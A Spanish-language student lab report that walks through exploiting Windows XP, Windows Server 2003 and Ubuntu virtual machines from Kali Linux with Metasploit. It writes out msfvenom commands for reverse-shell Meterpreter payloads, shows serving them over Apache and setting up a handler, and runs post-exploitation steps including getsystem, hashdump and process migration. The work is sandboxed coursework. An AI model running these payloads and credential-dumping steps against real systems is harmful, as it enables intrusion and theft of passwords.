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Introducción 

 

En el presente laboratorio se realizó un análisis y explotación de sistemas operativos 

Windows vulnerables, específicamente Windows XP SP3 , Windows Server 2003 SP1 y Ubuntu 

utilizando la distribución Kali Linux como entorno de pruebas. 

El objetivo principal fue poner en práctica técnicas de generación de payloads, configuración de 

handlers, escalación de privilegios y extracción de información sensible mediante la herramienta 

Metasploit Framework. 

Esta experiencia permitió familiarizarse con el proceso completo de identificación de 

vulnerabilidades y ejecución de exploits sobre sistemas inseguros, desde la conexión inicial hasta la 

obtención de privilegios de administrador, aplicando los conocimientos adquiridos en clases del 

docente (Rafael Sandoval). 
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Objetivos Generales 

 

Analizar y explotar vulnerabilidades en sistemas Windows XP, Windows Server 2003 

y Ubuntu, utilizando Metasploit Framework, con el fin de reforzar los conocimientos en 

ciberseguridad ofensiva y pruebas de penetración. 
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Objetivos Específicos 

 

• Generar y configurar payloads de Meterpreter para conexiones reversas 

hacia sistemas Windows vulnerables. 

 

• Configurar y utilizar módulos de Metasploit (multi/handler) para recibir 

sesiones activas de los sistemas atacados. 

 

• Documentar cada paso técnico, incluyendo comandos utilizados y 

resultados obtenidos, para evidenciar el proceso de explotación y 

aprendizaje. 
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1 Explotación con de Windows XP 
 

• Máquina atacante: Kali Linux, IP 192.192.192.4 

• Máquina víctima: Windows XP, IP 192.192.192.12 

• Payload: windows/meterpreter/reverse_tcp 

• Puerto de escucha: 4678 TCP 

• Archivo ejecutable en Windows XP: tello.exe 

 

Antes de iniciar, se verificó que el payload estaba descargado en la 

máquina víctima y que Kali podía comunicarse con Windows XP mediante 

ping. 

 

 
1.1 Máquina atacante: Kali Linux, IP 192.192.192.4 

 

 
Ilustración 1 Máquina atacante: Kali Linux, IP 192.192.192.4 
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1.2 Máquina víctima: Windows XP, IP 192.192.192.12 

 

 
Ilustración 2 Máquina víctima: Windows XP, IP 192.192.192.12 
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1.3 Explotación Netapi para Entrar a Meterpreter 

 

 
Ilustración 3 Search Netapi 
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1.4 Configuración RHOST y Exploit 
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1.5 Preparación de directorios y verificación de archivos 

 

• Lista los archivos y carpetas del directorio actual (/home/tello). 

• Resultado: muestra carpetas como CLASE, Documentos, y los archivos 

tello.exe y otras imágenes. 

 

 

 
 

1.6 Generación del payload para Windows XP 

 

msfvenom 

• Herramienta de Metasploit para generar payloads. 

• Permite crear ejecutables, scripts o código para distintos sistemas operativos. 

-p windows/meterpreter/reverse_tcp 

• -p indica el payload a usar. 

• windows/meterpreter/reverse_tcp genera un payload Meterpreter para 

Windows que realiza una conexión inversa hacia la máquina atacante. 

LHOST=192.192.192.4 

• Define la IP de escucha del payload (tu Kali Linux). 

• El payload se conectará a esta dirección una vez ejecutado en la víctima. 

LPORT=4678 

• Define el puerto de escucha que el payload usará para conectarse al handler. 

• Debe coincidir con el puerto configurado en Metasploit (set LPORT 4678). 

-f exe 

• Especifica el formato del payload a generar. 

• En este caso, exe indica que se creará un archivo ejecutable para Windows. 

> tello.exe 

• Redirige la salida de msfvenom hacia un archivo llamado tello.exe. 

• Resultado: se genera un archivo ejecutable listo para transferir a la máquina 

víctima Windows XP. 

 

 

 
Ilustración 4 Generacion payload 
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1.7 Inicio del servidor Apache y Estado 

 

• Inicia el servidor web Apache en Kali Linux. 

• Verifica que Apache esté activo y corriendo. 

• Resultado: estado active (running) y muestra procesos del servidor. 

 

 

 
Ilustración 5 Ejecucion y estado de Apache 

 

1.8 Preparación del directorio web 

 

Cambia al directorio raíz del servidor web donde se alojarán archivos descargables 

por la víctima. 

 

 
 

1.9 Otorgar Permisos 

 

Cambia los permisos del directorio para que sea totalmente accesible (lectura, 

escritura y ejecución) a todos los usuarios. 
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1.10 Copia del payload al servidor web 

• Copia el archivo tello.exe al directorio web, haciéndolo accesible a través de 

HTTP. 

 
 

• Verifica que el archivo tello.exe esté en el directorio del servidor web junto con otros 

archivos (index.html, satena.exe). 

 

 
 

 

1.11 Configuración del handler en Metasploit 

 

• Inicia Metasploit Framework. 

 

 
Ilustración 6 Msfconsole 
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1.12 Carga el módulo listener para payloads. 

 

 
Ilustración 7 cargar modulo : Search Multi handler 

 

1.13 Configura el handler para recibir la conexión del payload Windows. 
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1.14 Configuración RHOST y LHOST 

 

 
Ilustración 8 1.1.13 Configuración RHOST y LHOST 

 

1.15 Ejecución de Archivo en maquina Victima 

 

 
Ilustración 9 Ejecución archivo tello.exe 
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1.16 Ejecución del handler Exploit 

 

 
Ilustración 10 Exploit y Meterpreter Windows XP 

 

1.17 Verificación de la sesión Meterpreter 

 

Comandos dentro de Meterpreter: 

 

• sysinfo 

Muestra información del sistema víctima: 

OS: Windows XP SP3 

Architecture: x86 

User: XP\wayner_antonio_moya_ 

 

• Getuid 

Muestra el usuario actual: XP\wayner_antonio_moya_. 

 

• getsystem 

Eleva privilegios a SYSTEM usando Named Pipe Impersonation. 

 

• hashdump 

Extrae hashes de contraseñas de usuarios locales: 

Administrador, Invitado, wayner_antonio_moya_, etc. 

 

• ps 

Lista los procesos activos en la máquina víctima, incluyendo tello[1].exe, 

explorer.exe, svchost.exe, cmd.exe, etc. 
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Ilustración 11Meterpreter Windows XP 

 

 

 

• Windows XP es vulnerable debido a su falta de protecciones modernas. 

• Meterpreter permite acceso remoto, ejecución de comandos, elevación de 

privilegios y extracción de hashes. 

• El payload fue generado y distribuido previamente vía Apache (tello.exe). 

• Todo el procedimiento se realizó en un entorno virtualizado seguro, evitando 

riesgos en sistemas de producción. 
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2 Explotación con de Windows XP 
 

• Máquina atacante: Kali Linux, IP 192.192.192.4 

• Máquina víctima: Windows Server 2003, IP 192.192.192.10 

• Payload: windows/meterpreter/reverse_tcp 

• Puerto de escucha: 4678 TCP 

• Archivo ejecutable en Windows XP: tello2003.exe 

 

Antes de iniciar, se verificó que el payload estaba descargado en la 

máquina víctima y que Kali podía comunicarse con Windows Server 2003 

mediante ping. 

 
2.1 Máquina atacante: Kali Linux, IP 192.192.192.4 

 

 
Ilustración 12 Máquina atacante: Kali Linux, IP 192.192.192.4 
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2.2 Máquina Victima: Windows Server 2003 IP 192.192.192.10 

 

 
Ilustración 13: Máquina Victima: Windows Server 2003 IP 192.192.192.10 

 

2.3 Generación del payload para Windows Server 2003 

 

msfvenom 

• Herramienta de Metasploit para generar payloads. 

• Permite crear ejecutables, scripts o código para distintos sistemas operativos. 

-p windows/meterpreter/reverse_tcp 

• -p indica el payload a usar. 

• windows/meterpreter/reverse_tcp genera un payload Meterpreter para 

Windows que realiza una conexión inversa hacia la máquina atacante. 

LHOST=192.192.192.4 

• Define la IP de escucha del payload (tu Kali Linux). 
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• El payload se conectará a esta dirección una vez ejecutado en la víctima. 

LPORT=4678 

• Define el puerto de escucha que el payload usará para conectarse al handler. 

• Debe coincidir con el puerto configurado en Metasploit (set LPORT 4678). 

-f exe 

• Especifica el formato del payload a generar. 

• En este caso, exe indica que se creará un archivo ejecutable para Windows. 

> tello2003.exe 

• Redirige la salida de msfvenom hacia un archivo llamado tello2003.exe. 

• Resultado: se genera un archivo ejecutable listo para transferir a la máquina 

víctima Windows Server 2003. 

 

 

 

 
Ilustración 14 Generacion archivo payload tello20003.exe 

2.4 Preparación de directorios y verificación de archivos 

 

• Lista los archivos y carpetas del directorio actual (/home/tello). 

• Resultado: muestra carpetas como CLASE, Documentos, y los archivos 

tello2003.exe y otras imágenes. 

 

 
 

 

2.5 Inicio del servidor Apache y Estado 

 

• Inicia el servidor web Apache en Kali Linux. 

• Verifica que Apache esté activo y corriendo. 

• Resultado: estado active (running) y muestra procesos del servidor. 
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Ilustración 15 Ejecución y Estado Apache 

 

2.6 Preparación del directorio web 

 

• Cambia al directorio raíz del servidor web donde se alojarán archivos descargables 

por la víctima. 

 

 
 

2.7 Otorgar Permisos 

 

• Cambia los permisos del directorio para que sea totalmente accesible (lectura, 

escritura y ejecución) a todos los usuarios. 

 

 
 

2.8 Copia del payload al servidor web 

• Copia el archivo tello.exe al directorio web, haciéndolo accesible a través de 

HTTP. 

• Verifica que el archivo tello2003.exe esté en el directorio del servidor web junto con 



25 

 

 

otros archivos (index.html, satena.exe). 

 

 

 
 

2.9 Configuración de Metasploit para escuchar conexiones 

 

• Abri Metasploit con msfconsole 

 

• Buscaste el módulo handler: 

 

 
Ilustración 16 msfconsole 

 

• Seleccione el módulo exploit/multi/handler: 
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2.10 Configuración del RHOST Y LHOST y verificar configuracion: 

 

 
Ilustración 17 Configuración del RHOST Y LHOST 

 

 

2.11 Ejecución de Archivo tello2003.exe en Maquina Victima 
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2.12 Explotación de Windows Server 2003 

 

 
Ilustración 18 Exploit Windows Server 2003 

 

Comandos usados dentro de Meterpreter: 

 

• Información del sistema: 

sysinfo 

Resultado: Windows Server 2003 SP1, x86. 

 

 
 

• Usuario actual: 

getuid 

Resultado: WINDOWS\Administrador. 

 

 
 

• Escalación de privilegios a SYSTEM: 

getsystem 

Resultado: exitosa. 

 

 
 

• Dump de hashes: 

• hashdump 

Resultado: hashes de Administrador, Invitado, SUPPORT_388945a0. 

 
 

 

• Listado de procesos: 

ps 

Resultado: tello[1].exe corriendo en procesos temporales de Internet Explorer. 
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• Migración a proceso estable (explorer.exe) para persistencia: 

migrate 1916 

getpid 

getuid 

Resultado: sesión estable, privilegios SYSTEM mantenidos. 

 

 
Ilustración 19 Migracion 
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3 Instalación y Explotación de Ubuntu 

 

3.1 Instalación de Ubuntu 

 

 
 

 
 



32 

 

 

 

 

 

 

 

 



33 

 

 

 
 

 
 



34 

 

 



35 

 

 

 



36 

 

 

 
 



37 

 

 



38 

 

 

 
 



39 

 

 

 
 



40 

 

 

 
 

 
 



41 

 

 

 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 



42 

 

 

4 Explotación con de Ubuntu 
 

• Máquina atacante: Kali Linux, IP 192.192.192.4 

• Máquina víctima: Ubuntu, IP 192.192.192.13 

• Payload: linux/x86/meterpreter/reverse_tcp 

• Puerto de escucha: 4678 TCP 

• Archivo ejecutable en Windows XP: tello_ubuntu.exe 

 

Antes de iniciar, se verificó que el payload estaba descargado en la máquina 

víctima y que Kali podía comunicarse con Ubuntu mediante ping. 

 
4.1 Máquina atacante: Kali Linux, IP 192.192.192.4 

 

 
Ilustración 20Máquina atacante: Kali Linux, IP 192.192.192.4 
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4.2 Máquina Victima: Ubuntu IP 192.192.192.13 

 

 
Ilustración 21 Máquina Victima: Ubuntu IP 192.192.192.13 

 

 

 

 

 

 

Ilustración 22 Ping de Kali a Ubuntu 
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4.3 Generación del payload para Ubuntu 

 

Se utilizó la herramienta msfvenom en Kali Linux para crear un payload reverso dirigido a 

Ubuntu: 

 

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.192.192.4 LPORT=4444 -f elf 

> /home/tello/CLASE/tello_ubuntu.elf 

 

Parámetros utilizados: 

 

• -p linux/x86/meterpreter/reverse_tcp: payload de Meterpreter para Linux 86 bits. 

 

• LHOST=192.192.192.4: dirección IP de Kali Linux (host receptor de la conexión 

reversa). 

 

• LPORT=4444: puerto de escucha configurado en Kali. 

 

• -f elf: formato del payload como archivo ejecutable Linux ELF. 

 

• El payload se creó correctamente con un tamaño final de 250 bytes. 

 

 
 

4.4 Entrar a la carpeta donde guardaste el payload 

 

 
 

Se verificó la existencia del archivo generado: 
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4.5 Se inició el servicio Apache 

 

 
Ilustración 23 Ejecucion Apache 

4.6 Preparación del directorio web 

 

Cambia al directorio raíz del servidor web donde se alojarán archivos descargables por la 

víctima. 

 

 
 

4.7 Otorgar Permisos 

 

Cambia los permisos del directorio para que sea totalmente accesible (lectura, escritura y 

ejecución) a todos los usuarios. 

 

 
 

4.8 Cambio a la carpeta Clase y Copia del payload al servidor web 

Copia el archivo tello_ubuntu.elf al directorio web, haciéndolo accesible a través de 

HTTP. 
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Cambio a la carpeta Clase y verifica que el archivo tello_ubuntu.elf esté en el directorio del 

servidor web junto con otros archivos (index.html, satena.exe). 

 

 
 

 

4.9 Configuración del handler en Metasploit 

 

En msfconsole se utilizó el módulo multi/handler para escuchar la conexión entrante: 

 

 
Ilustración 24 msfconsole 
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4.10 Buscamos en Puerto multi Handler 

 

 
Ilustración 25 Buscamos en Puerto multi Handler 

 

4.11 Cargar el módulo multi/handler en Metasploit 

 

Abrimos Metasploit y seleccionamos el módulo que actúa como "escucha" del payload: 

msf > use 7 

 

• El número 7 corresponde al módulo exploit/multi/handler. 

• Este módulo no explota vulnerabilidades directamente, solo espera conexiones del 

payload. 

 

 
Ilustración 26 Cargar el módulo multi/handler en Metasploit 

 

4.12 Configuración del payload en Metasploit 

Seleccionamos el mismo payload que generamos con msfvenom: 

set payload linux/x86/meterpreter/reverse_tcp 

 

 
Ilustración 27 Configuración del payload en Metasploit 

4.13 Verificación de opciones 

Se listan los parámetros configurables del payload: 

Options 
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Ilustración 28 options 

 

Se observa: 

• LHOST vacío (aún no configurado). 

• LPORT en 4444 por defecto. 

 

4.14 Asignación de parámetros RHOST y LPORT 

Se asignan los valores correspondientes a IP y puerto: 

set LHOST 192.192.192.4 

set LPORT 4444 

 

 
Ilustración 29 Asignación de parámetros RHOST y LPORT 

 

4.15 Confirmación de configuración 

Se revisan los parámetros nuevamente: 

options 

Resultado esperado: 

• LHOST = 192.192.192.4 

• LPORT = 4444 
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4.16 Ejecución del handler 

Se inicia el módulo para escuchar conexiones entrantes: 

exploit 

Salida: 

[*] Started reverse TCP handler on 192.192.192.4:4444 

Esto significa que Metasploit está a la espera de que la víctima ejecute el archivo 

tello_ubuntu.elf. 

 

 
Ilustración 30 Exploit 

 

4.17 Renombrar la página por defecto de Apache para permitir el acceso a los archivos 

del servidor web 

 

Este comando renombra el archivo index.html (que Apache carga automáticamente al entrar 

en la página principal) a index1.html. 

 

De esta forma, el servidor ya no muestra directamente la página por defecto, sino que queda 

libre para mostrar: 

• Un listado de todos los archivos disponibles en /var/www/html/ (si está habilitado 

autoindex). 

• O bien permitir que se abran/descarguen otros archivos como tello.exe, tello2003.exe 

o tello_ubuntu.elf. 
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4.18 Descargamos archivo tello_ubuntu.elf 
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4.19 Entrar a la carpeta de Descargas 

 

Entramos a consola de Ubuntu y nos dirigimos a la carpeta Descargas 

 

 
 

4.20 Asignar permisos de ejecución al archivo malicioso en Linux 

 

El comando chmod +x se utiliza en sistemas Linux para agregar permisos de ejecución a 

un archivo. 

En este caso, se aplicó sobre tello_ubuntu.elf, que es el payload generado con msfvenom. 

 

• chmod → cambia los permisos de un archivo. 

• +x → añade permiso de ejecución. 

• tello_ubuntu.elf → archivo objetivo (el payload). 

 

 
 

4.21 Ejecutamos el archivo tello_ubuntu.elf del Payload en la Víctima 

 

 
Ilustración 31 Ejecutamos el archivo tello_ubuntu.elf 

4.22 Obtención de la Sesión Meterpreter 

 

La víctima ejecutó el payload y se conectó de vuelta a Kali. 

Con esto, el atacante ya tiene una sesión en Meterpreter, desde la cual puede: 

• Navegar archivos. 

• Descargar o subir ficheros. 

• Ejecutar comandos remotos. 

• Escalar privilegios. 

 

 
Ilustración 32 Meterpreter Ubuntu 
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5 Conclusión 

 

Durante el desarrollo de este laboratorio se logró comprender el proceso completo de 

explotación de sistemas vulnerables, incluyendo Windows XP SP3, Windows Server 2003 

SP1 y entornos Linux como Ubuntu, desde la configuración del handler hasta la escalación 

de privilegios y extracción de información sensible. 

 

Se evidenció cómo herramientas como Metasploit Framework, ejecutadas desde Kali 

Linux, permiten automatizar ataques controlados, identificar vulnerabilidades críticas y 

obtener acceso completo a sistemas desactualizados o mal configurados. 

 

Esta experiencia es fundamental para entender las buenas prácticas de seguridad, reforzar 

la defensa de sistemas reales y concienciar sobre la importancia de mantener actualizados los 

sistemas operativos y servicios expuestos en la red. 
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